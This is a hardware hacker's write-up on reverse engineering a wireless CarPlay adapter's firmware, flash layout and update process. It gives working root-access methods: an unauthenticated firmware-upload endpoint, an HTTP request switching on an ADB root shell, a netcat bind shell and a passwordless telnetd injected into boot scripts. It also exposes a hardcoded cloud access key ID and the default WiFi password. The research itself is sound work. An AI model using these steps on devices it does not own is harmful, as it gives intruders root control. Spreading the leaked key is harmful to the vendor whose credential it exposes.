Reverse Engineering a
Wireless CarPlay Adapter

The firmware file starts with an MD5 checksum line followed by a cpio archive. The presence of sw-description identified it immediately as a SWUpdate package — an open-source embedded update framework.

Parsing the cpio revealed three entries: sw-description, kernel, and customer.

The kernel entry opens with magic ANDROID! — not Android userspace, just the boot image container format reused for a bare Linux kernel. The header revealed the product name:

name:    v851s3-lybox_rtl
board:   T3K_V02_20250208
ramdisk: 12 bytes (placeholder only)

The string v851s3 directly identifies the platform as Allwinner V851S3. The LY3370 identifier is the OEM board name, not the silicon. The WiFi module strings confirmed RTL8723BS.

The customer entry is a SquashFS filesystem (v4, XZ-compressed, ~6MB). But inspecting the full flash backup revealed a second SquashFS — the base rootfs — never included in the OTA package:

• Base rootfs at 0x480000 — 3.1MB, factory-flashed, contains core binaries, init scripts, SWUpdate, hostapd, BusyBox
• Customer partition at 0x840000 — 6MB, updated via OTA, contains CarPlay/Android Auto app, web UI, WiFi drivers

The OTA update only ever touches kernel and customer. U-Boot, the base rootfs, and the recovery kernel are immutable from OTA's perspective.

The web interface at http://192.168.1.101 exposes a CGI endpoint with no authentication:

POST http://192.168.1.101/cgi-bin/index.cgi?id=upload
Content-Type: multipart/form-data
(field: [email protected])

Any device on the same WiFi network can flash arbitrary firmware. The CGI binary also contains a hardcoded Aliyun Access Key ID (LTAI5tPPbTZ5JjXvbGWnHe6g) compiled directly into the binary for cloud credential generation.

The CRC32 used by cpio 070702 is a simple byte sum, not a standard CRC32:

check = sum(all_bytes_in_file) & 0xFFFFFFFF

A round-trip repack using the correct format produces a byte-identical file to the original — verified by MD5.

The update process is controlled by U-Boot env vars written by SWUpdate via libubootenv — not by shell scripts calling fw_setenv. Shell fw_setenv calls fail silently on this device. The three stages:

Stage 1 (upgrade_recovery):  Sets swu_mode=upgrade_kernel,
                             boot_partition=recovery → reboots
Stage 2 (upgrade_kernel):   IN RECOVERY — flashes kernel+customer,
                             sets swu_mode=upgrade_usr → reboots  
Stage 3 (upgrade_usr):      Clears all env vars,
                             boot_partition=boot → normal boot

• Main board: Allwinner V851S3 SoC, board label T3K_V02_20250208, 4 UART pads on PCB
• WiFi daughter board: RTL8723BS, labeled OverAir W01, T3B_V01 20241122
• USB connector board: XTX XT25F128F-W (16MB SPI NOR flash), 4 pads labeled KEY

The KEY pads on the USB connector board are the FEL mode trigger. Shorting them while applying USB power forces the V851S3 into Allwinner FEL (Flash/Erase/Load) mode — a ROM-level recovery mechanism that cannot be disabled by flash contents.

The standard sunxi-tools package doesn't support the V851S3 (chip ID 0x1886). The xfel tool does:

# Build from source
git clone https://github.com/xboot/xfel.git
cd xfel
sudo apt install libusb-1.0-0-dev
make

# Enter FEL: short KEY pads + plug into laptop USB
sudo ./xfel version
# AWUSBFEX ID=0x00188600(V851/V853)

From FEL mode, full SPI flash read/write access:

# Read entire 16MB flash
sudo ./xfel spinor read 0 16777216 full_flash_backup.bin

# Write a partition
sudo ./xfel spinor write 0x840000 customer.squashfs

# Reset device
sudo ./xfel reset

• BusyBox — with nc (netcat) applet, but no telnetd
• SWUpdate — /sbin/swupdate_cmd.sh, /sbin/ly_swupdate
• hostapd — at /usr/sbin/hostapd with fallback config at /etc/wifi/hostapd.conf
• fw_printenv / fw_setenv — U-Boot env tools (but see caveat below)
• Web server — BusyBox httpd, config at /usr/ota/httpd.conf
• CGI binary — /usr/ota/www/cgi-bin/index.cgi

The inittab contains a direct root shell on the serial console — no password required:

::sysinit:/etc/init.d/rcS boot
/dev/console::respawn:-/bin/sh   ← root shell on UART

The main board has 4 UART pads at 115200 baud 8N1. Anyone with a USB-UART adapter and access to the PCB has immediate root shell access.

The file /sbin/swupdate_cmd.sh runs at boot and loops forever reading swu_mode via fw_printenv. If swu_mode=upgrade_kernel is set and the device is not in recovery, it will repeatedly try to trigger an update. This is the root cause of the boot loop I experienced.

swupdate_cmd() {
    while true; do
        swu_mode=$(fw_printenv -n swu_mode 2>/dev/null)
        [ x"$swu_mode" = x"" ] && { echo "no swupdate"; sleep 5; continue; }
        # ... triggers swupdate if swu_mode is set
    done
}

The fallback AP password — used when the customer partition isn't loaded — is hardcoded in the base rootfs /etc/wifi/hostapd.conf:

wpa_passphrase=88888888
hw_mode=a
channel=36
wpa=2

This is the same password as the normal AP. The fallback AP that appeared during our bricked state used a different password I never identified — suggesting a second hostapd config exists somewhere, possibly generated at runtime from hardware identifiers.

1. Parse the squashfs superblock to find the fragment table location
2. Decompress the fragment metadata (always kept decompressed between patches)
3. Decompress the target fragment, apply patch, recompress
4. Splice new compressed fragment into squashfs binary
5. Update fragment size entry in metadata
6. Update start offsets for all subsequent fragments (delta adjustment)
7. Recompress fragment metadata, splice into squashfs
8. Update all squashfs superblock table pointers for the two deltas
9. Update bytes_used in superblock

# 1. Enter FEL mode
#    Short the KEY pads on USB connector board while plugging into laptop
sudo ./xfel version
# → AWUSBFEX ID=0x00188600(V851/V853)

# 2. Download official firmware
curl -L "https://cpbox-abroad.oss-us-west-1.aliyuncs.com/3370/update.img" \
     -o update.img

# 3. Extract customer partition from update.img
python3 << 'EOF'
data = open('update.img','rb').read()
nl = data.index(b'\n')
payload = data[nl+1:]
pos = 0
while pos < len(payload):
    magic = payload[pos:pos+6]
    if magic not in (b'070701',b'070702'): break
    namesize = int(payload[pos+94:pos+102], 16)
    filesize = int(payload[pos+54:pos+62], 16)
    name = payload[pos+110:pos+110+namesize].rstrip(b'\x00').decode()
    npad = (4-(110+namesize)%4)%4
    cstart = pos+110+namesize+npad
    content = payload[cstart:cstart+filesize]
    dpad = (4-filesize%4)%4 if filesize%4 else 0
    if name=='customer':
        open('customer_original.squashfs','wb').write(content)
        print(f'OK: {len(content)} bytes')
    pos = cstart+filesize+dpad
    if name=='TRAILER!!!': break
EOF

# 4. Write customer partition directly to flash
sudo ./xfel spinor write 0x840000 customer_original.squashfs

# 5. Clear U-Boot env (prevents stale update vars causing boot loop)
python3 -c "open('empty_env.bin','wb').write(b'\xff'*2048)"
sudo ./xfel spinor write 0x07c000 empty_env.bin

# 6. Unplug from laptop — plug into WALL CHARGER (not car)
#    Wait 60 seconds — smartBox-4CBC AP will appear

Deep in /usr/ota/www/index.html, a JavaScript function onSelConn() exposes a connection mode picker with two values: aoa (Android Open Accessory / CarPlay) and adb. Selecting ADB calls:

GET http://192.168.1.101/cgi-bin/index.cgi?id=set&conn=adb

To exploit on a running device:

# Step 1: Switch to ADB mode via web UI
curl -s "http://192.168.1.101/cgi-bin/index.cgi?id=set&conn=adb"

# Step 2: Plug device into laptop USB
# Step 3: Check for ADB device
adb devices

# Step 4: Root shell
adb shell
whoami   # → root

The ^x label shown for the aoa option in the picker suggests the CarPlay label is intentionally obfuscated or placeholder text — possibly to hide the feature from casual inspection of the source.

This finding changes the root access strategy entirely. Rather than patching squashfs or exploiting the OTA upload, a single HTTP GET request to a running device may be sufficient to obtain a persistent root shell — making this the highest-priority vector to verify on the next device.

Approach 1: nc listener via base rootfs patch (xfel)

# Patch S50lyboot in base rootfs frag[1]
old = b'echo "ly_boot=$LY_BOOT_MODE"\n'
new = b'echo "ly_boot=$LY_BOOT_MODE"\n(while true;do nc -l -p 4444 -e /bin/sh;done)&\n'

sudo ./xfel spinor write 0x480000 base_rootfs_patched.squashfs
# Connect: nc 192.168.1.101 4444

Approach 2: OTA firmware via web interface

# Patch customer partition frag[13] (lyLink.sh)
# Add: telnetd -p 23 -l /bin/sh &
# Build with correct 070702 CRC format + 512-byte padding
# Upload via: POST /cgi-bin/index.cgi?id=upload
# sw-description upgrade_kernel stage must clear ALL env vars

All previous attempts failed because the base rootfs BusyBox has nc but no telnetd applet. The customer partition's lyLink.sh runs as root early in boot from $WORKDIR (customer partition app directory).

The solution: drop a separate full BusyBox binary into the customer partition alongside the app, then add one line to lyLink.sh:

# Added to lyLink.sh in customer partition (frag[13])
(sleep 5; $WORKDIR/busybox_telnet telnetd -l $WORKDIR/busybox_telnet -p 23 -- ash) &

This uses the bundled BusyBox binary (which has telnetd compiled in) rather than relying on the base rootfs BusyBox. The sleep 5 ensures the network interface is up before telnetd starts. Port 23, no password, root shell.

$ telnet 192.168.1.101
Connected to 192.168.1.101.

root@(none):/# uname -a
Linux (none) 4.9.191 #49 PREEMPT Tue Jan 6 09:49:43 UTC 2026 armv7l GNU/Linux
root@(none):/# id
uid=0(root) gid=0(root)

Every previous patch injected telnetd -p 23 -l /bin/sh & into lyLink.sh. This silently failed because the base rootfs BusyBox doesn't have the telnetd applet compiled in. The fix was not to find a different injection point — it was to bring your own BusyBox.

• Base rootfs BusyBox: has nc, no telnetd
• Custom BusyBox binary in customer partition: has telnetd + ash
• $WORKDIR in lyLink.sh already points to the customer app directory — no path hardcoding needed

1. Connect to smartBox-4CBC WiFi (password: 88888888)
2. Download official firmware from Aliyun OSS — firmware URL obtained from https://cpbox-abroad.oss-us-west-1.aliyuncs.com/3370/version.json
3. Unpack the .swu (cpio 070702 format) — extract customer SquashFS
4. Patch customer SquashFS frag[13] (lyLink.sh) — inject BusyBox telnetd one-liner
5. Add BusyBox binary with telnetd to customer partition
6. Repack .swu with correct 070702 CRC + 512-byte block padding
7. Upload via unauthenticated OTA endpoint: POST /cgi-bin/index.cgi?id=upload
8. telnet 192.168.1.101 → root shell